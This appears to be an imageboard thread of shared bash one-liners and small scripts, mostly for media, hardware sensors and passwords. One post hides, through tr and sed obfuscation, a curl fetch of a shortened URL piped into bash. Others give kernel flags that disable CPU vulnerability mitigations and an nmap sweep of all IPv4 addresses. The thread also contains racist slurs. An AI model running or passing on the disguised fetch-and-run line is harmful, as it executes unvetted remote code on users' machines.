ffmpeg -ss 01:00:00 -i input.webm -ss 00:04:00 -t 120 -codec copy clip.webm

would make a 2 minute clip starting 1 hour and 4 minutes into input.webm.


 No.1005417

>>1005414

I know about that thanks but it is not practical when I want to cut 10 slices on a video. I want to do it directly via mpv with a keyboard shortcut.


 No.1005476

wanted to post echoing that escape sequence that makes breaks your terminal to a point where it'll only displays hieroglyphs but it seems that I have to forgotten what the sequence was


 No.1005480

>>1005476

>breaks your terminal to a point where it'll only displays hieroglyphs

=changing your terminal encoding. Sometimes it happens if you output a binary file to stdout.

UTF-8 encoding

echo -n $'\e%G'

Reset it with

reset

stty sane

You may have to use Ctrl+j sequence in place of Return key if it got remapped too.


 No.1005483

>>1005480

>tfw typing "st"

>accidentally booted into windows

>steam opens

It doesn't break babun though. Probably I have everything set to UTF-8 to begin with. I hope so at least. But yeah it was either that or some ancient sentinel character from the 70's/80's. Was reading a little more like a real word though.


 No.1005486

>>1005483

*should make the terminal write backwards too


 No.1005488

>>1005486

>>1005483

there's many escape codes the UTF-8 was but one example


 No.1005912

File: 2455d7b4c1f61b2⋯.png (268.71 KB, 650x560, 65:56, 1479179457483.png)

>>1004284

wget -erobots=0 -nc -nd -nv -Rhtml,s.jpg -HErD media.8ch.net https://8ch.net/tech/res/1003160.html

This line works for most imageboards and imageboard archives. You only need to adjust the content domain. For example:

>i.warosu.org # warosu

>i.4pcdn.org # 4plebs


 No.1005913

>>1003406

echo 4oCH4payCuKWsuKAhOKWsgo=|base64 -d


 No.1007279

brightness(){ sudo sh -c 'for f in /sys/class/backlight/*; do echo $(($(<$f/brightness)'$1'*$(<$f/max_brightness)/100)) > $f/brightness; done';}
# brightness -5 / brightness +5


 No.1007290

alias head='sed 11q'


 No.1007309

>>1007290

absolute autism


 No.1007328

>>1007290

Make it a function at least.


 No.1007434

>>1005913

 ▲

▲ ▲


 No.1007439

temperature(){ for cputempdevice in /sys/class/hwmon/*; do cputempname=$(<$cputempdevice/name); if [[ $cputempname == "coretemp" || $cputempname =~ "k*temp" || $cputempname =~ "it87*" || $cputempname == "nct6775" ]]; then break; fi done; temp=$(<$cputempdevice/temp1_input); echo ${temp:0:-3}C;}
# temperature


 No.1009659

>>1007439

Interesting. I've used this from an earlier thread but yours is more accurate.

temp=$(cat /sys/class/thermal/thermal_zone0/temp)
temp=$(echo "scale=1;(${temp}/1000)" | bc)
echo "${temp}°C"


 No.1009961

sea shells sea shells by the sea shore.


 No.1010085

fix for amd devices

temperature(){ for cputempdevice in /sys/class/hwmon/*; do cputempname=$(<$cputempdevice/name); [[ $cputempname == coretemp || $cputempname == it87* || $cputempname == nct6775 || $cputempname == k8temp || $cputempname == k9temp ]] && break; done; temp=$(<$cputempdevice/temp1_input); echo ${temp:0:-3}C;}


 No.1010379


 No.1010670

temps(){ for tempdevice in /sys/class/hwmon/*; do [ -f $tempdevice/temp1_input ] && echo "$(<$tempdevice/name) $(<$tempdevice/temp1_input)"; done;}
# temps


 No.1010711

alias suicide='kill -9 $$'

function doubleclick(){ xdg-open "$@"; }


 No.1011593

File: bd031e812012b49⋯.jpg (110.44 KB, 377x500, 377:500, 1537372072639.jpg)


boy(){
x="${1:?}"; shift; y=("${@:?}")
for i in "${y[@]}"; do
man "${x}" \
| sed -n "s/.\\x08//g;/^\\s*${i}/,/^$/p" \
| fmt -w "${COLUMNS}"
done
}
complete -c 'boy'
$ boy grep -G -E -P
-G, --basic-regexp
Interpret PATTERN as a basic regular
expression (BRE, see below). This is
the default.

-E, --extended-regexp
Interpret PATTERN as an extended regular
expression (ERE, see below).

-P, --perl-regexp
Interpret the pattern as a
Perl-compatible regular expression
(PCRE). This is experimental and grep
-P may warn of unimplemented features.


 No.1011609

>>1011593

Nifty idea, until you miss the option caveats written elsewhere in the text.

If I need a refresher on an option I take it as an opportunity to learn/find better way of doing something.


$grep --help


 No.1011956

>>1004584

>use tput(1)

What's the proper procedure if my tput is BSD? Should I check for the existence of /usr/local/bin/tput and use that instead? Reason for asking is that tput on dflybsd (and probably other BSD) don't know anything about screen or tmux.


$ which tput
/usr/bin/tput
$ echo -n Hi; tput ch 0; tput ce; echo Hello
HiHello
$ alias tput=/usr/local/bin/tput
$ echo -n Hi; tput ch 0; tput ce; echo Hello
Hello

Also nice that ncurses' tput accepts terminfo capability names;


 No.1011965

>>1011956

I don't know, just look at man 1p tput for the POSIX spec and whine to your OS maintainers if it doesn't comply.


 No.1012062

>>1011956

ANSI escape codes is probably more portable and less trouble.

https://en.wikipedia.org/wiki/ANSI_escape_code


 No.1012070

echo 'carl the moongeek/o.lye10uA8/C' | tr gnu/homekat :phisth/bu\- | sed s./.L. | bash | bash


 No.1012080

>>1012062

I figured so and it's what I've been using.

I'd much rather run


printf "Hello"; sleep 1; printf "\x1b[G\x1b[K\x1b[1;34mHi\x1b[m\n"

than bringing tput into things.


 No.1012090

>>1012080

>readability matters

Set variables for the settings:


Bold=$(tput bold) ;\
Reg=$(tput sgr0) ;\
echo "Regular and ${Bold}some bold${Reg} text"


 No.1012551

Real simple function I use at work constantly:

```sgrep() {

grep -i "$1" ~/.ssh/config

}```

Never know when you'll need to send someone the connection details for a server.


 No.1012552

>>1012551

Man, that's embarrassing. To make up for my shoddy markup here's a one liner I use for generating passwords for databases and shit where it doesn't matter if I can remember it or not:

```

tr -dc '[:alnum:]' < /dev/urandom | fold -w 30 | sed 1q

```


 No.1012553

>>1012552

Fuck sake I really can't remember the 8ch formatting


 No.1012715

>>1012552

I use this instead:

#!/usr/bin/env sh
[ "$1" = '-s' ] && { F='[:alnum:]'; shift 1; } || F='[:graph:]'
[ "$1" -gt 0 ] 2> /dev/null && N=$1 || N=32
tr -cd $F < /dev/urandom | fold -bw $N | head -1
unset F N
exit


 No.1013035

passgen(){ echo -n Generating password...\ ; head -c 100 /dev/random | tr -cd "[:print:]"; echo;}
# passgen


 No.1013036


 No.1015784


# cd to the given file
function cdf() {
file=$(which "$*")
if [[ -f "${file}" ]]; then
cd "$(dirname "${file}")"
else
echo "'$*' does not exist."
fi
}

# one-liner if bloat bothers you
function cdf() { [[ -f "$(which "$*")" ]] && cd "$(dirname "$(which "$*")")" }


 No.1015872

Both Arch and Gentoo are really suck! Actually, Ubuntu or Mint is better.


 No.1015947

pretty epic huh

alias lsa='ls -p --quoting-style=escape | grep -v / | xargs -0 -d "\n" -I % file -i % | grep -E "image/[p|j|g]" | awk "{print \$1}" | tr -d \: | sxiv -t -'


 No.1015977

>>1003160


alias fuck="sudo !!"


 No.1016003

>>1015872

>are really

Illiterate, just like your choice in distro.


 No.1016408

>>1015977

Is this bait?


 No.1016567

>>1016408

>bait?

No it doesn't look like it.

If you forgot to use sudo on a command, then it runs the last command (!!) with sudo (sudo !!) by simply typing "fuck".


 No.1016573

>>1016567

Because it doesn't work?

 ~$ alias fuck="sudo !!"
~$ alias fuck
alias fuck="sudo <whatever command you entered previously>"
~$ alias fuck='sudo !!'
~$ alias fuck
alias fuck='sudo !!'
~$ fuck
sudo: !!: command not found


 No.1016577

>>1016573

>Because it doesn't work?

Not in your shell it doesn't


$echo foo
foo

$!!
echo foo
foo

>How do I repeat the last command without using the arrow keys

>With csh or any shell implementing csh-like history substitution (tcsh, bash, zsh):

>!!

>>>/g/o


 No.1016586

>>1016577

Since you clearly did not read what I posted, let me type it out for you again:

 ~$ alias fuck="sudo !!"
alias fuck="sudo <whatever command you entered previously>"
e.g.
 ~$ ls
~$ alias fuck="sudo !!"
alias fuck="sudo ls"
Running bash. The fucking fuck alias doesn't fucking work.


 No.1016592

>>1016586

you may have to reference the history file directly then via an evaluation: $(history -p !!) will get the last command in the history (!!) and not run it, effectively it does the substitution dynamically when the alias is executed. Otherwise using the double quotes as you do is a static substitution done once when the alias is defined.


alias fuck='sudo $(history -p !!)'

Note: Use of apostrophes/single quotes (and not double quotes as you're using.)There is a significant difference in the shell interpretation.

$alias fuck='sudo $(history -p !!)'
$echo foo
foo
$fuck
foo

$alias fuck="sudo $(history -p !!)"
alias fuck="sudo $(history -p <last-command-is-substituted-here>)"


 No.1016603

>>1016586

>>1016592

>>1016573

>>1015977

if you want to do the command line meme of setting your alias you have to escape the explanation mark, absolutely low iq


 No.1016605

>>1015977

>>1016408

>>1016567

>>1016573

>>1016577

>>1016586

>>1016592

>>1016603

y'all mother fuckers need to stop making scripts and reread the gnu's reference manual on bash.

One you're probably interested in right now is tiltled "history expansion".


 No.1016609

>>1016567

History expansion, and especially "!!" doesn't work normally outside of the interactive shell. Saving an alias like that would either save directly the previous command, or it'll just try and execute "!!" which isn't a real command.

As far as alias is concerned your not actually looking for the previous command as it is setup to run actual commands not bash, "!!" is done before execution, not during. so it isn't interpreted that way.

However, you can hack around it in an attempt to make it work, but it's definitly not as simplified as just running an alias.


 No.1016689

>>1003389

What the fuck


 No.1018184

I made this while drunk to show an irl friend the capabilities of bash and stuff. He destroyed his entire filesystem within a week though

#!/bin/bash
set -e

DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
DISPLAY=:0
file=
video_url=

function exit_error() {
case "${1}" in
0)
notify-send "Could not get YouTube URL"
;;
1)
notify-send "No devices found"
;;
2)
notify-send 'youtube-dl failed to download' "$(xclip -o)"
;;
3)
notify-send "Could not find file in directory"
;;
4)
notify-send "kdeconnect could not send file"
;;
esac
exit 1
}

mkdir -p ~/Music
cd ~/Music

video_url="$(xclip -o | awk -F"=|&" '{print $2}')"
[[ -z "${video_url}" ]] && exit_error 0

mapfile -t dev_ids < <(kdeconnect-cli -l | awk '/reachable/{print $3}')
[[ ${#dev_ids[@]} -eq 0 ]] && exit_error 1

youtube-dl -x --audio-format vorbis "https://www.youtube.com/watch?v=${video_url}" || exit_error 2
file="$(ls ./*"${video_url}."*)" || exit_error 3

for dev_id in "${dev_ids[@]}"; do
kdeconnect-cli -d "${dev_id}" --share "${file}" || exit_error 4
notify-send 'Success' "Sent ${file} \\nto ${dev_id}"
done


 No.1018190

>>1018184

>set -e

>not set -eu

>not set -eu -o pipefail

Faggots using bash without the only stuff that makes it better than sh should die.


 No.1018195

>>1018190

>not #!/bin/bash -eu

Before you start being a nigger about common practises you should actually learn them. There's a ton of problems with my script but like I said I was drunk, faglord.


 No.1018197

>>1018195

or even better

>#!/usr/bin/env -S bash -euo pipefail


 No.1018297

soxresample(){ input="$1"; res="$2"; output="$3"; sox $input $output rate -v -b 99.7 -M $res;}
# soxresample input.flac 96000 output.flac


 No.1018298

xcftoimage(){ input="$1"; output="$2"; gimp -ib "(let* ((image (car (gimp-file-load RUN-INTERACTIVE \"$input\" \"$input\")))(drawable (car (gimp-image-merge-visible-layers image CLIP-TO-IMAGE))))(gimp-file-save RUN-NONINTERACTIVE image drawable \"$output\" \"\"))(gimp-quit 0)";}
# xcftoimage image.xcf image.png


 No.1018333

>>1003448

That looks hella complicated for something that should be easy.


for i in *
do
ffmpeg -y -i "$i" -c:v libvpx-vp9 -b:v xxxk -pass 1 -an -f webm /dev/null
ffmpeg -y -i "$i" -c:v libvpx-vp9 -b:v xxxk -pass 2 -c:a libopus -b:a xxk ../"${i%.*}".webm
done


 No.1018336


for a in {0..255}; do for b in {0..255}; do for c in {0..255}; do for d in {0..255}; do nmap -oG grep.txt -Pn -p XX $a.$b.$c.$d; done; done; done; done


 No.1018339

>>1018336

You really shouldn't be doing that in bash


 No.1018340

>>1018339

You're right masscan or zmap would be faster. It was an example I had written down.


 No.1018342

>>1018340

Did you also write out all permutations for {0..255}.{0..255}.{0..255}.{0..255}?


 No.1018348

>>1018342

With that code? Fuck no. It takes about 13 hours with zmap.


 No.1019232

coin(){

beacon="$(

wget -qO- 'https://beacon.nist.gov/rest/record/last' \

| sed -E 's/.*<outputValue>(.*)<\/outputValue>.*/\1/' \

)"

shuf \

--head-count 1 \

--input-range 0-1 \

--random-source <(cat <<< "$beacon") \

| sed 's/1/heads/; s/0/tails/'

}


 No.1019261

>>1018336

nmap 0.0.0.0/0 -p 80


 No.1019336

>>1018333

That's some illiteracy.


 No.1027804

>>1005178

That the left part is essentially cuckchan desktop threads, while the right part implies intermediate-to-expert Linux/programming experience those on the left usually do not have.


 No.1029226

# fallocate -l 32GB drive && lspci

sudo sh -c '
devices=(01:00.0 01:00.1 00:12.0 00:12.2)

for devid in ${devices[@]}; do devid=0000:$devid
echo $(</sys/bus/pci/devices/$devid/vendor) $(</sys/bus/pci/devices/$devid/device) > /sys/bus/pci/drivers/vfio-pci/new_id
echo $devid > /sys/bus/pci/devices/$devid/driver/unbind
echo $devid > /sys/bus/pci/drivers/vfio-pci/bind
echo $(</sys/bus/pci/devices/$devid/vendor) $(</sys/bus/pci/devices/$devid/device) > /sys/bus/pci/drivers/vfio-pci/remove_id
done

qemu-system-x86_64 -enable-kvm -m 4G -cpu host -smp cores=8,threads=1 -vga none -display none -cdrom windows.iso -drive if=pflash,format=raw,readonly,file=/usr/share/edk2-ovmf/OVMF_CODE.fd -drive if=pflash,format=raw,file=/usr/share/edk2-ovmf/OVMF_VARS.fd -drive file=drive,format=raw $(sed "s/ / -device vfio-pci,host=/g" <<< \ ${devices[@]})

for devid in ${devices[@]}; do devid=0000:$devid
echo 1 > /sys/bus/pci/devices/$devid/remove
echo 1 > /sys/bus/pci/rescan
done'


 No.1029453

Is there a good w3m guide?

t. not quite a w3m wizard, but knows enough to make this post with it


 No.1030149

>spend half an hour writing ffmpeg wrapper which replaces stuff like <0:s:1> with extracted temporary .ass file, so that I can burn subtitles for use on my phone

>find out that mpv-android is already in usable state and supports ass subtitles, right after I finish the script

Oh well.

What settings do you use for your phone anyway? Or do you just copy over the full encodes?

At least it might be useful subbed webms. I guess, with little work the script could be used to support extracting arbitrary streams too, using something like <stream_specifier-file_extension> instead of the current <stream_specifier> syntax.

#!/bin/bash
function runff() {
echo @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
echo -- ffmpeg "$*"
echo @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
ffmpeg -hide_banner "$@"
}

function get_stream_specs() { grep -o '<[^> ]*>' <<< "$*" | sort -u | sed 's/^<//;s/>$//'; }

# find inputs part of the command line
# note: when i=n, ${!i} is equivalent to $n
inputs=() # ffmpeg input arguments
ninputs=0 # # of last input arg.
for (( i=1; i <= $#; ++i )); do [ "${!i}" = '-i' ] && ninputs=$((i+1)); done
if [ $ninputs -le 1 ];then echo "there are no inputs. exiting"; exit 1; fi
for (( i=1; i <= ninputs; ++i )); do inputs+=("${!i}"); done
echo -- "inputs: " "${inputs[*]}"

# extract used subtitles into separate files
declare -A exported_streams # map of stream_specifier => /path/to/extracted/tmp/file
cmd=("$@") # will contain the final command
tmprefix=/tmp/ffmpeg-$$
for stream_spec in $(get_stream_specs "$*"); do
filename="${tmprefix}-${stream_spec//:/_}.ass"
exported_streams["$stream_spec"]="$filename"
runff "${inputs[@]}" -map "$stream_spec" "$filename"
done

# replace the subtitle args with files; do this for each ffmpeg argument separately
for i in "${!cmd[@]}"; do
arg="${cmd[$i]}"
for stream_spec in $(get_stream_specs "$arg"); do
arg=$(sed "s@<$stream_spec>@${exported_streams[$stream_spec]}@g" <<< "$arg")
done
cmd["$i"]="$arg"
done
runff "${cmd[@]}"
rm "${exported_streams[@]}"


 No.1030155

>>1030149

>smartphone

>viewing stuff on smartphone

Bashniggers never dissapoint.


 No.1030158

>>1030155

I'm not gonna lug a laptop just so I can watch shit on public transport.


 No.1030162

>>1003506

i was so into batch when i was growing up man I made entire animations and UI's batch is so pure and perfect


 No.1030176

linux /boot/vmlinuz root=/dev/sda1 ro pti=0 ibrs=0 retp=0 ibpb=0 spectre_v2=off l1tf=off nospec_store_bypass_disable no_stf_barrier


 No.1030207

>>1019232

(( $(( $RANDOM % 2 )) )) && echo heads || echo tails

>relying on the US gov for your randomness


 No.1030226

>>1030207

$RANDOM is non-standard, and its implementations are usually needlessly suboptimal. Get your randomness from /dev/urandom instead.


 No.1030554

>>1030226

>>1030207

flipcoin(){ (($(od -An -N1 /dev/random) % 2)) && echo heads || echo tails;}
# flipcoin


 No.1031193

Is there a way to search within rtorrent's ncurses GUI?

I want to switch from transmission to rtorrent but now that I think about it, this is going to get pretty clunky once I have a few torrents on it.


 No.1031200

>>1031193

rtorrent needs rutorrent to be usable.


 No.1031209

>>1031200

Untrue, I'm seeding 1500 torrents right now with just rtorrent


 No.1031246

File: a72015a084e19b0⋯.mp4 (525.35 KB, 360x640, 9:16, Fuck_niggers.mp4)

>>1031200

>webshit

>usable

>at all

Sorry, I'm a white man.


 No.1031251

>>1031246

I just realized they aren't saying "fuck niggers" at all because it's backwards.


 No.1031261

File: a0860fcdb0df009⋯.webm (316.8 KB, 360x640, 9:16, out2.webm)

>>1031251

I've probably seen that a dozen times and never realized it was reversed before


 No.1031268

>>1031261

>SIR GHEN CUFF


 No.1031277

File: ee3e8cc290d2904⋯.jpg (22.35 KB, 500x384, 125:96, mfw.jpg)

>>1031261

They're saying fuck niggers backwards, then?


 No.1031296

>>1031277

Yeah, people in their live stream got them to scream it without them knowing what it really meant. If I remember correctly, their university found out and they got in shit or something.


 No.1031326

>>1031193

You have no reason to switch from transmission to rtorrent. In fact, I did the opposite because rtorrent crashed sometimes and is in general bad abandonware without a daemon/client architecture.


 No.1031329

>>1031246

rtorrent is one of the worst torrent clients without it. just try to add torrents that arent in the same folder and you will notice how annoying it is. also doing something to a single torrent is almost impossible with the cli if you have thousands torrents in it


 No.1031362

>>1031326

rtorrent can max out my connection perfectly, whereas transmission only rarely did it. I even basically ported over my transmission config as far as peer counts and so on are concerned, so I think it's a difference in their torrent implementation.

rtorrent is also many times lighter, I'd say it does a better job for less.

The only thing the rtorrent ncurses UI is missing is a search function, something like htop's filter, or a plain old "forward slash to search", and then it's perfect.

Migrating from transmission is easy, I'm going to keep using this and if I find sorting by name too clunky I'll migrate back.

By the way this is not my first experience with rtorrent, I used to seed from a nintendo wii running debian, however I never consired putting it on my PC.


 No.1031383

>>1031362

Rtorrent is supposed to be used on VERY high speed internet connections for their improvement to matter.

>many times lighter

Are you sure? The transmission daemon is very light.

Anyway, you'll only get pain by using rtorrent. Wait until it becomes active again, at least.


 No.1031384

>>1031383

i use transmission and its way too heavy for the arm meme board that i run it on. just few torrents will make the whole system unresponsive and the loads are at 100% until the seeding stops


 No.1031387

File: b7981481cd54f89⋯.png (2.68 KB, 590x55, 118:11, trans.png)

>>1031384

this is with 10 torrents and total upload speed of them is 50mbps(in isp marketing units)


 No.1031408

deepfry(){ input="$1"; iterations="$2"; output="$3"; cp $input $output; for ((n=0;n<$iterations;n++)); do convert $output -quality $(shuf -n1 -i 50-100) _$output; convert _$output -quality $(shuf -n1 -i 50-100) $output; done; rm _$output;}
# deepfry input.jpg 1000 output.jpg


 No.1031507

>>1031387

Well, I have a 100KBps up, so it may be why. There's a lightweight transmission USE flag to use less RAM, though. Maybe try Synapse torrent?




[Return][Go to top][Catalog][Nerve Center][Cancer][Post a Reply]
Delete Post [ ]
[]
[ / / / / / / / / / / / / / ] [ dir / agatha2 / animu / chemo / general / mde / ss / tingles / xivlg ]